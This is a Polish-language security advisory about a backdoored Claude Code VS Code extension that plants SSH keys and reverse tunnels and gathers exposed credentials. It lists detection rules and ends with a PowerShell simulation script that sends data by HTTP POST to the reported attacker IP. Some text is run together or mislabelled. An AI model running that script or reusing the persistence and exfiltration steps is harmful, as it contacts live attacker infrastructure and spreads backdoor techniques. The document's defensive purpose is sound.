Zagrożenie z rozszerzeniem Claude Code: Poradnik bezpieczeństwa
Detection stack
- AIDR
- Alert
- ETL
- Query
Podsumowanie
Na Cursor Marketplace zidentyfikowano wersję 2.1.313 oficjalnego rozszerzenia Claude Code dla VS Code z backdoorem. Złośliwe oprogramowanie ustanawia trwały backdoor SSH na macOS, Linuxie i Windows poprzez modyfikację authorized_keys i tworzenie odwróconych tuneli SSH. Dodatkowo przeprowadza rozpoznanie hosta w celu odkrycia wrażliwych zmiennych środowiskowych i potencjalnie ujawnionych poświadczeń.
Śledztwo
Phorion zidentyfikował wstrzyknięte wyrażenie IIFE wewnątrz zminifikowanej paczki rozszerzenia, które uruchamia się natychmiast po załadowaniu rozszerzenia. Śledztwo wykazało, że złośliwe oprogramowanie próbuje włączyć usługi SSH i używa określonych kluczy Ed25519 do uwierzytelniania ofiar i ustanawiania odwróconych tuneli. Badacze zidentyfikowali także błędy implementacji w logice macOS i Windows, które mogą ograniczać zdolność do włączania usług bez istniejących uprawnień.
Mitigacja
Organizacje powinny natychmiast zidentyfikować i usunąć wersję 2.1.313 rozszerzenia Claude Code dla VS Code. Na macOS użytkownicy powinni wyładować i usunąć com.apple.sysmond.plist LaunchAgent. Zespoły bezpieczeństwa powinny również sprawdzić konfiguracje SSH i usunąć svc-telemetry klucz publiczny z dotkniętych authorized_keys plików.
Reakcja
Po wykryciu kompromisu zakończ aktywne procesy tunelu, w tym pętle ponownych prób shell oraz ssh or procesy autossh łączące się z 134.209.82.225 134.209.82.225. Usuń artefakty z uprawnieniami, w tym wpisy cron, zaplanowane zadania i ukryte skrypty przechowywane w .config katalogach. Krytycznie, obróć wszystkie poświadczenia i tokeny API, które zostały ujawnione przez zmienne środowiskowe na dotkniętym hoście.
Przepływ Ataku
Wciąż aktualizujemy tę część.
Wykrycia
Próba komunikacji z domeną przez wyszukanie IP (via dns)
Podejrzany skrypt/binarny w lokalizacji autostartu (via file_event)
Możliwa komunikacja C2 przez HTTP do bezpośredniego IP z nietypowym portem (via proxy)
Utworzono ukryty plik na hoście Linux (via file_event)
IOC (HashSha256) do wykrycia: Kompromis oficjalnego rozszerzenia Claude Code: Doradztwo bezpieczeństwa
IOC (SourceIP) do wykrycia: Kompromis oficjalnego rozszerzenia Claude Code: Doradztwo bezpieczeństwa
IOC (DestinationIP) do wykrycia: Kompromis oficjalnego rozszerzenia Claude Code: Doradztwo bezpieczeństwa
Wykryto podejrzaną aktywność SSH do znanego złośliwego adresu IP [Połączenie sieciowe Windows]
Wykrycie backdoora w rozszerzeniu Claude Code VS Code na macOS [Zdarzenie pliku Linux]
Wykonanie Symulacji
-
Narracja ataku i polecenia: Przeciwnik, po uzyskaniu początkowego dostępu, stara się ustanowić trwały tunel C2. Inicjują połączenie SSH do
134.209.82.225na porcie22aby utworzyć bezpieczny tunel dla ruchu bocznego. Natychmiast po, złośliwy agent wykonuje żądanie POST HTTP dohttp://134.209.82.225:8099zawierające zakodowane informacje o systemie. Ta specyficzna sekwencja „SSH + HTTP POST do tego samego IP” jest zaprojektowana, aby wyzwolić warunek reguływarunek: selection_ssh i selection_http. -
Skrypt testowy regresji:
# Skrypt symulacyjny: Wywoływanie podejrzanej aktywności SSH i POST HTTP $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] Rozpoczęcie symulacji..." -ForegroundColor Cyan # Krok 1: Symulowanie połączenia SSH (używając Test-NetConnection do wygenerowania Sysmon ID 3) Write-Host "[+] Krok 1: Symulowanie wychodzącego połączenia SSH do $TargetIP na porcie $SSHPort" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # Krok 2: Symulowanie żądania POST HTTP (używając Invoke-WebRequest) Write-Host "[+] Krok 2: Symulowanie sygnalizacji POST HTTP do $TargetIP na porcie $HTTPPort" try { # Używamy krótkiego czasu oczekiwania, aby zapobiec zawieszeniu skryptu, jeśli IP jest nieosiągalne $payload = @{ data = "simulated_credential_harvesting_data" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] Żądanie HTTP nie powiodło się (oczekiwane, jeśli IP jest offline), ale telemetry powinna zostać wygenerowana." -ForegroundColor Yellow } Write-Host "[+] Polecenia symulacji wykonane." -ForegroundColor Green -
Polecenia czyszczenia:
# Podczas tej symulacji nie wprowadzono trwałych zmian w systemie. # Nie utworzono żadnych plików i nie zainstalowano żadnych usług. Write-Host "[+] Czyszczenie zakończone. Brak artefaktów do usunięcia." -ForegroundColor Green